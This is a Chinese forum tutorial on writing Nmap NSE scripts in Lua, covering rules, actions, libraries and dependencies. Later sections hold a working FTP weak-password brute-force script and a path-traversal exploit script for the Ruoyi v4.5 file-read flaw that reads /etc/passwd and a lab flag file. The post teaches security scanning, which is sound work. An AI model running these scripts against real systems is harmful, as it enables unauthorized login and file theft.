大家好,我是 zkaq-念旧。时隔多年,我又回来写文章了(毕竟现在投稿奖励很丰厚,很难不心动)。
本次要讲的是 Nmap 工具的 NSE 脚本编写,大多数人喜欢叫它 “Nmap插件”。
Nmap 不用多说,一个老牌的扫描工具,常年混迹于安全工程师的计算机中,搞渗透的人没有不会用的。如果你遇到一个不会用 Nmap 的安全工程师,那它一定是内鬼。
Nmap 虽然很多人会用,但却很少有人会编写 Nmap 的插件(NSE)。现在,让我们一起学习如何编写 NSE 脚本,让你的渗透技能更上一层楼!
Nmap 脚本引擎(NSE)是 Nmap 最强大、最灵活的功能之一。通过 NSE 脚本,可以自动化执行任务,实现各种安全扫描需求。
Nmap 具有一些内置的 NSE 脚本,位于/scripts
。
如下图所示,Nmap 默认内置了上百个 NSE 脚本文件,可以实现不同的扫描功能。
如果想要使用 NSE 脚本引擎,则需要在 Nmap 运行时添加--script
选项。相信很多小伙伴都用过。
# 枚举SSH用户名和密码
nmap 192.168.1.1 --script=ssh-brute
# 探测ms17-010漏洞
nmap 192.168.1.1 --script=smb-vuln-ms17-010
# 综合漏洞扫描
nmap 192.168.1.1 --script=vuln
这篇文章对 NSE 脚本进行了简要说明,可以作为参考。
此外,如果你想知道 Nmap 内置了哪些脚本,以及这些脚本的功能,可以查阅官方文档。
除了 Nmap 内置的脚本之外,用户也可以编写自己的脚本来满足自身的扫描需求。
(表1-1:NSE脚本的架构)
结构 | 组成 |
---|---|
语言 | Lua |
文件扩展名 | .nse |
文件内容 | 由四个部分组成:几个描述性字段、脚本规则、脚本操作、环境变量 |
通过上表可以得知,NSE 脚本基于 Lua 语言。Lua 是一种轻量级的语言,专为可扩展性而设计;它提供了一个功能强大且文档齐全的 API,用于与其他软件(如Nmap)进行交互。而 Nmap 脚本引擎的核心则是一个可嵌入的 Lua 解释器。
如果你还没有学过 Lua,则你可以在菜鸟教程-Lua教程进行学习。
在 表1-1 中指出,NSE 脚本的文件内容由四个部分组成:
下面将逐一介绍这几个部分的用法,以及如何编写它们。
根据官方文档,Nmap 提供了 5 个建议的描述性字段。
(表2-1:五个描述性字段)
字段名称 | 说明 |
---|---|
description(描述) | 类型一般为多行字符串,用于说明 NSE 脚本的基础信息,例如脚本要执行的任务内容、注意事项等。一般在几段话以内即可,尽量简短。 |
categories(类型) | 类型一般为数组,用于对 NSE 脚本进行分类。 |
author(作者) | 类型一般为单行字符串或多行字符串,用于说明当前 NSE 脚本的编写人员。 |
license(协议) | 类型一般为单行字符串,用于指出当前 NSE 脚本的许可证。Nmap 是一个社区项目,支持各种代码贡献,包括 NSE 脚本。在你的脚本中有效地包含许可证,有助于脚本的传播、使用、分发等。 |
dependencies(依赖) | 类型一般为数组,用于定义多个 NSE 脚本间的执行顺序。 |
在编写 NSE 脚本时,以上 5 个字段都可以省略。但为了脚本的规范性与可读性,建议你能写则写。
一个文件示例:
description = [[
测试
这是一个用于测试的NSE脚本
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
在以上 Lua 代码中,分别定义了 4 个描述性字段。
该脚本没有依赖项,所以省略 dependencies 字段。
Nmap 官方提供了两个 license(协议) 供你选择:
# 格式
license = "--See "
# 官方提供的第一个协议:与Nmap软件一样
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
# 官方提供的第二个协议:BSD风格的许可证(无广告条款)
license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
除了以上两个许可证之外,你也可以使用其他的许可证。我的建议是,使用第一个就已经足够了。
对于 categories(类别) 字段,官方将其划分为了 14 个不同的类别:
例如,你编写了一个可用于检测 “Web端身份验证绕过漏洞” 的脚本,则你可以将其归类为auth
和vuln
类别。
对于一个暴力破解脚本,可以归类为brute
和intrusive
类别。之所以将其归类为 intrusive(侵入),是因为在暴力破解的过程中 会产生大量的网络数据包,这可能会占用服务器的流量带宽、产生大量垃圾日志等,具有一定的侵入性。
这里我将 “规则” 和 “操作” 放在一起讲。
true
或false
使 “操作” 在合适的时间段执行。Nmap 提供了以下 4 个规则函数,在编写 NSE 脚本时,必须包含至少一个规则函数,否则会报错。
(表2-2:四个规则函数)
规则函数 | 说明 |
---|---|
prerule() | 前规则(起始规则),在主机扫描之前运行 |
hostrule(host) | 主机规则,在扫描单个主机后运行 |
portrule(host, port) | 端口规则,在扫描单个端口后运行 |
postrule() | 后规则(结束规则),在主机扫描之后运行 |
Nmap 提供了以下 1 个操作函数,在编写 NSE 脚本时,必须包含操作函数,否则会报错。
(表2-3:一个操作函数)
操作函数 | 说明 |
---|---|
action(host, port) | 定义了脚本要执行的具体操作 |
下面通过一些练习,来了解和掌握以上函数。
创建一个文件pre-post.nse
,并编写以下代码:
description = [[
前规则与后规则
该脚本用于测试 prerule() 与 postrule() 函数
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
prerule = function()
print("这是前规则")
end
postrule = function()
print("结束")
end
action = function(host, port)
end
在上述 Lua 代码中,定义了 4 个描述性字段、2 个规则函数以及 1 个操作函数。
对于操作函数action(host, port)
,脚本中必需包含操作函数,否则会报错。但我此时并不清楚应该执行哪些操作,所以这里将其定义为 “空函数”,起到一个占位作用,防止运行时错误。
代码中定义了两个规则函数prerule()
和postrule()
,这两个函数分别使用print()
打印了一个字符串。
运行 Nmap 并添加--script
选项,使用刚刚编写的脚本:
nmap 127.0.0.1 --script=pre-post.nse
如图,正如 表2-2 中所说的
创建一个文件host.nse
,并编写以下代码:
description = [[
主机规则
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
prerule = function()
print("开始")
end
hostrule = function(host)
print("扫描的目标IP地址为: " .. host.ip)
print("扫描的目标主机名为: " .. host.name)
end
postrule = function()
print("结束")
end
action = function(host, port)
end
上述 Lua 代码和上一节完全相同,只不过多了一个hostrule(host)
函数,该函数通过print()
打印了字符串信息以及目标主机的 IP 地址。
尝试运行该脚本,看看会发生什么:
如图,成功输出相关信息。
通过 host 参数,我们可以获得有关目标主机的详细信息。除了 host.ip 和 host.name 以外,更多的参数值可以参阅官方文档。
如果同时扫描多个主机,当每个主机单独扫描完成之后,hostrule
都会自动执行一次。假如你扫描了十个主机,则hostrule
会执行十次。
如图所示,扫描了两个主机,主机规则函数执行了两次。
创建一个文件port.nse
,并编写以下代码:
description = [[
端口规则
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
portrule = function(host, port)
print("扫描的目标IP地址为: " .. host.ip)
print("发现端口: " .. port.number)
print("端口状态: " .. port.state)
print("端口协议: " .. port.protocol)
print("服务名称: " .. port.version.name)
print("服务版本: " .. port.version.version)
end
action = function(host, port)
end
运行该脚本,此处添加了-sV
版本探测选项:
nmap 127.0.0.1 -sV --script=port.nse
如图,成功输出相关信息。
与主机规则一样,端口规则可以通过 host/port 参数,来获得目标主机/端口的详细信息。
更多的 port 参数值可以参阅https://nmap.org/book/nse-api.html。
需要注意的是,portrule
会为每个端口都执行一次规则。假如你扫描了 10 个主机,每台主机都存在 5 个端口,那么 10*5=50,portrule
将会执行五十次。
如图所示,目标主机存在两个端口,端口规则函数执行了两次。
前面有提到过:“规则函数” 通过返回布尔值true
或false
,来决定 “操作函数” 的执行时间段。当 “规则函数” 返回true
时,“操作函数” 将会自动执行一次。
这可能不太好理解,这里用几个练习来演示。
创建一个文件action.nse
,并编写以下代码:
description = [[
操作函数-示例1
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
prerule = function()
print("开始")
return true
end
action = function(host, port)
print("操作函数被触发了!!!")
end
如图,由于 “前规则” 返回了一个布尔值true
导致条件触发,所以 “操作函数” 将自动执行一次。
通常,我们会在 “规则” 中编写各种表达式,使其返回一个布尔值。然后在 “操作” 中编写具体的代码块,当条件触发时自动执行这些代码。
第二个示例,创建文件action-2.nse
,并编写以下代码:
description = [[
操作函数-示例2
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
portrule = function(host, port)
return port.number == 80 and port.state == "open"
end
action = function(host, port)
print("操作函数被触发了!!!")
info = string.format("发现端口: [%d], 状态: [%s]\n", port.number, port.state)
print(info)
end
在以上 Lua 代码中,定义了一个规则函数portrule(host, port)
,该函数判断 “端口号是否等于 80” 并且 “端口状态是否为 open”,并使用return
关键字将判断结果的布尔值进行返回。
如果 portrule 返回的是一个true
,则 action 将会自动执行。它将输出一段提示信息,然后使用内置方法string.format
拼接字符串,并将结果赋给info
变量,然后打印该变量。
运行以上脚本:
如图,由于目标主机存在 80 端口,并且为 open 状态,所以 portrule 会返回一个true
并触发 action。
创建第三个文件action-3.nse
,并编写以下代码:
local http = require "http"
description = [[
操作函数-示例3
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
portrule = function(host, port)
if (port.number == 80 and port.state ~= "open") then
print("发现80端口, 但端口状态不是open")
elseif (port.number == 80 and port.state == "open") then
print("发现80端口, 执行操作")
return true
end
end
action = function(host, port)
local response = http.get(host, port, "/abc")
print("请求成功, HTTP状态码为: " .. response.status .. "\n")
end
在上述 Lua 代码中,定义了一个规则函数portrule
和一个操作函数action
。
true
,以进行相关操作。http.get()
方法对开放的 80 端口发送一个 HTTP GET 数据包,请求路径为/abc
,并打印响应状态码。同时,该脚本还通过require
关键字引入了 Nmap 内部的http
库。
运行上述脚本,查看效果:
如上图所示,成功地对本地 80 端口发出了 GET 请求,响应状态码为 404。
转到 HTTP 服务的终端窗口,查看是否接收到请求:
在图中可以看到,一共接收到了两个 HTTP 请求,状态码分别为 400 和 404。
/abc
,该请求是由action
函数发出的。这是 NSE 脚本的最后一个组成部分,概念相对简单。
每个 NSE 脚本都有自己的一组环境变量,其中包含当前脚本的运行状态和信息,可用于调试输出。
(表2-4:脚本环境变量)
变量名称 | 说明 |
---|---|
SCRIPT_PATH | 当前脚本的存储路径 |
SCRIPT_NAME | 当前脚本的名称 |
SCRIPT_TYPE | 触发操作的规则名称 |
创建一个文件var.nse
,并编写以下代码:
description = [[
环境变量示例
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
prerule = function()
info = string.format("脚本开始运行, 环境信息: \n脚本路径 --> %s\n脚本名称 --> %s\n", SCRIPT_PATH, SCRIPT_NAME)
print(info)
return true
end
postrule = function()
return true
end
action = function(host, port)
print("规则被触发, 执行操作. 触发的规则是 --> " .. SCRIPT_TYPE)
end
在上述 Lua 代码中,定义了两个规则函数prerule
和postrule
以及一个操作函数action
。
前规则调用string.format()
方法将环境变量SCRIPT_PATH
和SCRIPT_NAME
拼接到一个字符串当中,并将返回值赋给名为 info 的变量。然后调用print()
方法打印该变量。最后通过return
关键字返回了一个布尔值true
,以触发规则并执行操作 action。
后规则直接返回了一个true
,以执行操作 action。
操作函数打印了环境变量SCRIPT_TYPE
。
运行上述脚本,看看会发生什么:
如图所示,前规则打印了脚本的 “命令行中指定的脚本路径” 以及 “脚本文件名称”。
操作函数第一次执行,触发的规则是prerule
。
操作函数第二次执行,触发的规则是postrule
。
以下是不同的脚本路径:
在 2.1 章节中提到了 5 个描述性字段,但是在以上所有的示例代码中,我只用了其中的 4 个。字段 dependencies(依赖)始终没有被用到,那它到底是用来做什么的呢?
下面用一个示例来演示该字段的作用。
创建文件a.nse
、b.nse
、c.nse
以及main.nse
,并编写以下代码:
description = [[
这是脚本a
]]
prerule = function()
print("脚本a被执行")
end
action = function(host, port)
end
为了看得更直观,以上脚本去除了一些描述性字段,action 是一个空函数,仅仅执行一个prerule
。
同时运行以上四个脚本,通过逗号,
分隔文件名:
nmap 127.0.0.1 --script=a.nse,b.nse,c.nse,main.nse
如图所示,在尝试运行了几次之后,发现这四个脚本的执行顺序是随机的,毫无顺序可言。
假设现在有一个扫描需求,a.nse
、b.nse
和c.nse
都是信息收集脚本,main.nse
是漏洞检测脚本,但是main.nse
需要使用前三个脚本的信息才能完成漏洞检测。
也就是说,前三个脚本必需先运行,而main.nse
最后运行。此时可以通过 dependencies(依赖)字段来定义这四个脚本的执行顺序。
修改main.nse
的文件内容,添加 dependencies 字段:
description = [[
这是脚本main
]]
dependencies = {"a", "b", "c"}
prerule = function()
print("脚本main被执行")
end
action = function(host, port)
end
在上述 Lua 代码中,dependencies 是一个数组,它包含了前三个脚本的文件名称(除去文件扩展名)。
再次运行这四个脚本,看看会发生什么:
如图所示,在经过多次运行之后你会发现,main.nse
总是最后一个运行。
因为脚本 a、b和c 是main.nse
的依赖项,所以前三个脚本总是会提前运行,而main.nse
总是被放在最后一个运行。
dependencies 字段会告诉 Nmap:如果你遇到这三个脚本中的任意一个,就先把我放到最后,先让它们运行。
注意:dependencies 只是建立了脚本间的运行顺序,被列出的脚本并不会自动运行,你必须通过--script
或其他方式来运行被依赖的脚本。
通过第 2 章节的学习,你应该已经大致了解和掌握 NSE 脚本的基本编写了。
在下一章节中,将通过编写几个实战脚本,来巩固你的技能。
与许多编程语言一样,Nmap 编写和集成了很多 Lua 的库文件,可用于辅助脚本的开发。
例如,我们在 “2.2章节-操作函数-练习3” 中就使用过http
库,该库可用于发起 HTTP 请求。
Nmap 内置的库文件位于/nselib/
目录中:
如图所示,Nmap 库文件的文件扩展名为.lua
,其中有我们使用过的http
库。
在这篇文档中,你可以找到 Nmap 所有内置库的列表。如果你想了解每个库的详细信息,请参阅另一篇文档。
接下来我将用几个例子,来讲述如何在编写 NSE 脚本的过程中使用库文件。
在本示例中,将探测所有的 HTTP 端口,然后向开放状态的 HTTP 端口发送一个数据包。
创建文件http-test.nse
,并编写以下代码:
local http = require "http"
local shortport = require "shortport"
description = [[
HTTP测试
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
portrule = shortport.http
action = function(host, port)
local get_options = {
header = {
["User-Agent"] = "This is GET request",
["Content-Type"] = "text/html; charset=utf-8"
}
}
local post_options = {
header = {
["User-Agent"] = "This is POST request",
["Content-Type"] = "application/x-www-form-urlencoded; charset=utf-8"
},
content = "username=admin&password=123456"
}
local response_1 = http.get(host, port, "/get", get_options)
local response_2 = http.post(host, port, "/post", post_options)
print("GET请求响应状态码: " .. response_1.status)
print("POST请求响应状态码: " .. response_2.status)
end
在上述 Lua 代码中,通过require
关键字引入了两个库,分别是http
和shortport
。
http
库可以用于发出 HTTP 请求。shortport
库可以帮助我们处理 port 参数。然后定义了一个端口规则函数portrule
,但与前面不同的是,这里直接将它的值设置为了shortport.http
。刚刚提到shortport
可以帮助我们处理 port 参数,而shortport.http
可以自动识别 HTTP 协议的端口。
shortport.http
会返回布尔值true
。false
。原本需要自己编写函数,以识别 HTTP 协议端口,但shortport.http
帮我们省略了这个操作。
最后定义一个操作函数action
,它在内部创建了两个选项列表,分别是get_options
与post_options
。
通过调用http.get()
和http.post()
方法,并传递参数 “主机 + 端口 + 请求路径 + 选项列表”,向目标主机发送 GET 和 POST 请求。然后打印响应状态码。
运行以上脚本:
从图中可以看到,脚本打印了两次请求的状态码 “404” 和 “501”。而且只打印了一次,说明在众多的端口当中,只有一个端口是 HTTP 协议。
我提前打开了 WireShark 来捕获请求数据包,这样可以更直观地看到效果。
首先是 GET 请求,它的两个请求头都被正确设置了,请求的路径也没毛病:
然后是 POST 请求,两个请求头同样被正确设置,POST 数据传递正确,Nmap 还很贴心地为我们添加了Content-Length
请求头。
不知道你有没有在社区里搜索过文章,就像这样:
请求的路径是/?s=search&key=bm1hcA==&type=1&pageid=1
,其中key
参数是一个 Base64 编码
下面我们尝试用 NSE 脚本实现社区文章搜索功能。创建文件zkaq-search.nse
,并编写以下代码:
local base64 = require "base64"
local http = require "http"
local shortport = require "shortport"
description = [[
HTTP测试-2
搜索掌控安全社区中的文章
]]
categories = {"default"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
portrule = shortport.http
action = function(host, port)
local key = base64.enc("nmap")
path = string.format("/?s=search&key=%s&type=1&pageid=1", key)
local response = http.generic_request(host, port, "GET", path)
print("响应状态码: " .. response.status)
print("响应正文: \n" .. response.body)
end
在以上 Lua 代码中,通过require
关键字导入了三个 Nmap 内置库。
然后定义端口规则portrule
,将其值设置为shortport.http
,这可以自动发现开放的 HTTP 端口。如果发现 HTTP 端口,该函数会返回一个true
,以执行操作。
定义操作函数action
,在该函数中,首先通过方法base64.enc()
对要搜索的内容进行了 Base64 编码。然后通过方法string.format()
将编码后的内容格式化到请求路径中,并将返回值赋给名为 path 的变量。
最后通过方法http.generic_request()
向目标主机发送 HTTP GET 请求,以完成搜索操作。然后调用print()
打印响应状态码和正文。
其中,我们在之前的示例中使用的是http.get(host, port)
和http.post(host, port)
。其实这两个函数的底层实现都是基于http.generic_request()
方法。
-- http.get(host, port)相当于:
http.generic_request(host, port, "GET")
-- http.post(host, port)相当于:
http.generic_request(host, port, "POST")
-- http.head()和http.put()等函数也是基于http.generic_request()
运行上述脚本:
从图中可以看出,一共发现了两个端口 “80和443”,并且都是 HTTP 协议,所以端口规则会触发两次。
对于 80 端口,响应状态码为 301,这说明社区网站强制使用 HTTPS 协议,发送到 80 端口的请求将会重定向至 443 端口。http.get
默认不跟随跳转,但你可以通过选项列表允许其跳转。
对于 443 端口,正确传递参数并搜索了社区文章,成功。
以上就是 NSE 库的使用示例,但 Nmap 内置的库远不止这些,鼓励你自己探索:https://nmap.org/nsedoc/lib/
创建文件ftp-enum.nse
,并编写以下代码:
local ftp = require "ftp"
local stdnse = require "stdnse"
description = [[
FTP弱口令暴力破解
]]
categories = {"brute", "vuln"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
usernames = {"admin", "root", "ftp", "anonymous", "user"}
passwords = {"", "123456", "admin123"}
portrule = function(host, port)
return port.version.name == "ftp" and port.state == "open"
end
action = function(host, port)
local output = stdnse.output_table()
for i, username in ipairs(usernames) do
for j, password in ipairs(passwords) do
local socket, _, _, buffer = ftp.connect(host, port, {request_timeout=8000})
local status, code = ftp.auth(socket, buffer, username, password)
socket:close()
if (status and code == 230) then
output.success = "[+] Found ftp login credentials!"
output.ftp_login = {
"username: " .. username,
"password: " .. password,
}
return output
end
end
end
output.failed = "[-] Not found ftp login credentials..."
return output
end
首先通过require
关键字导入两个库:ftp
与stdnse
。其中 ftp 库可用于 FTP 协议的处理,而 stdnse 则包含 NSE 脚本的各种标准函数,例如脚本的 BUG 调试等。
然后定义了几个描述性字段。还定义了两个数组,分别是usernames
和passwords
,这两个数组中包含将要暴破的用户名和密码。
定义端口规则函数portrule()
,该规则试图寻找 “服务名称为ftp” 并且 “open状态” 的 FTP 端口。如果某个端口符合条件,则返回值为true
。值得一提的是,此处我写的规则比较简陋,在实际环境中可能会遗漏某些 FTP 端口。
定义操作函数action()
,函数中通过stdnse.output_table()
创建了一个命令行输出列表,并将其赋给名为 output 的变量。然后通过 for 循环遍历两个数组,以获得数组中的单个用户名和密码。
在最里层的 for 循环中,通过ftp.connect()
连接到目标 FTP 端口,获得 FTP 的套接字和缓冲区。套接字socket
是实际建立的连接,而缓冲区buffer
则是为了进行 FTP 间的数据交换。
然后调用ftp.auth()
方法,并将 “套接字+缓冲区+用户名+密码” 这四个参数传递给该函数,以进行 FTP 登录验证。验证完毕后,调用close()
方法关闭连接。
如果验证过程中没有出现错误,则变量 status 的值将会是true
。如果验证过程中出现错误,则将返回一个false
。
最后,判断验证是否正常,以及返回的状态码是否等于 230(在 FTP 中230表示登录成功)。如果登录成功,则往 output 中添加提示信息、登录成功的用户名和密码。通过return
关键字将 output 返回。
如果登录失败,同样往 output 中添加失败信息,并将其返回。
运行以上脚本,查看效果:
如图所示,FTP 暴破成功。获得用户名 “ftp”,密码为空。
尝试登录,用户名为ftp
,密码为空。登录成功:
最近封神台不是上新了一个靶场吗?天天在zk公众号看到靶场的推文。
既然有现成的靶场,那就让我们编写一个 NSE 脚本,用于检测该漏洞。
先进靶场瞄一眼,发现直接给出了用户名和密码admin:admin123
。
直接登录,反手一个 Payload。
如图所示,漏洞存在,成功读取/etc/passwd
文件。
但是,有一个大问题……登录界面有验证码!
由于验证码不可预测,所以无法在代码层面登录。
虽然可能有绕过验证码的方法,但我懒得去想了。我改用另一种更加简单粗暴的方法:直接在源代码中包含 Cookie,这样还能省略第一个步骤。
(别打我,下手轻……ciouaberanzdska)
创建文件ruoyi-v4.5-fileread.nse
,并编写以下代码:
local http = require "http"
local shortport = require "shortport"
local vulns = require "vulns"
description = [[
Ruoyi v4.5 任意文件读取漏洞
]]
categories = {"vuln"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
local vuln_table = {
title = "Ruoyi v4.5 FileRead",
state = vulns.STATE.NOT_VULN,
IDS = {
CVE = "CNVD-2021-01931"
},
risk_factor = "Medium",
dates = {
disclosure = { year = 2021, month = 2, day = 18}
},
references = {
"https://www.cnvd.org.cn/flaw/show/CNVD-2021-01931"
}
}
portrule = shortport.http
action = function(host, port)
local options = {
header = {["User-Agent"] = "This is test"},
cookies = "JSESSIONID=430545b1-6d18-48c5-8be6-48ad03b94e9e"
}
local path = "/common/download/resource?resource=/profile/../../../../etc/passwd"
response = http.get(host, port, path, options)
if (response.body:match("root:/root:/bin/")) then
vuln_table.state = vulns.STATE.VULN
end
local report = vulns.Report:new(SCRIPT_NAME, host, port)
return report:make_output(vuln_table)
end
首先导入三个库文件http
、shortport
和vulns
,前两个库已经介绍过,而 vulns 用于在命令行中打印漏洞信息。
然后定义了几个描述性字段。
定义变量vuln_table
,该变量描述了漏洞信息。
vulns.STATE.NOT_VULN
(未发现漏洞)。定义端口规则函数portrule()
,它的值为shortport.http
,这将会寻找潜在的 HTTP 协议端口。如果找到 HTTP 端口,则返回布尔值true
。
定义操作函数action()
,创建变量options
和path
,前一个变量记录了请求的选项信息,包括请求头、Cookie等。变量path
记录了漏洞的路径。然后调用http.get()
发送 Payload,接收返回值response
。
接收返回值后,通过 if 判断响应正文中是否包含以下字符root:/root:/bin/
,如果包含这几个字符,说明存在文件读取漏洞。将漏洞状态设置为vulns.STATE.VULN
(发现漏洞)。
调用vulns.Report:new()
,并将 “当前脚本的名称+主机+端口” 传递给该函数,创建当前 NSE 脚本的报告对象。
调用report:make_output()
,并将漏洞信息vuln_table
传递给该函数,生成一份漏洞报告。最后通过return
返回这份报告。
运行上述脚本,查看效果:
如图所示,我先扫描了本地测试站点,不存在漏洞,没毛病。
然后扫描了靶场,成功发现漏洞,并且输出了漏洞信息列表。
以上是一个比较标准的漏洞脚本,但你可以简化以上代码,使其更符合漏洞复现需求。
修改后的代码:
local http = require "http"
local shortport = require "shortport"
description = [[
Ruoyi v4.5 任意文件读取漏洞
]]
categories = {"vuln"}
author = "zkaq-念旧"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
portrule = shortport.http
action = function(host, port)
local options = {
cookies = "JSESSIONID=430545b1-6d18-48c5-8be6-48ad03b94e9e"
}
local path = "/common/download/resource?resource=/profile/../../../../etc/passwd"
local flag_path = "/common/download/resource?resource=/profile/../../../../tmp/flag.txt"
response_1 = http.get(host, port, path, options)
if (response_1.body:match("root:/root:/bin/")) then
print("[+] 发现漏洞, 路径: " .. path)
print("尝试读取 flag 文件......")
response_2 = http.get(host, port, flag_path, options)
print("/tmp/flag.txt 的内容为: " .. response_2.body)
end
end
自己尝试读懂以上代码。
运行脚本,成功获得 flag:
诶嘿。
学完这篇文章,你已经基本掌握了 NSE 脚本的开发能力。鼓励你继续深入,尝试开发更高难度的脚本。
本来这篇文章还想写更多内容的,想想还是算了(开摆),连前面的文章内容都不想检查了(大摆特摆)。
本篇文章中所有的 NSE 脚本都打包到了附件中,需求的自取。
自己做了一张关于本篇文章的思维导图,有点潦草。导图原文件在附件里面,可以自己改改。
(没有会员,图片水印没去)
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 1800.00 | 0 | 2023-08-02 11:11:56 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
NSE附件.zip 文件大小:32.191M (下载次数:2)
© 2016 - 2024 掌控者 All Rights Reserved.
Track-魔方
发表于 2023-8-2
深度 1000 普适 300 可读 200 稀缺 300
评论列表
加载数据中...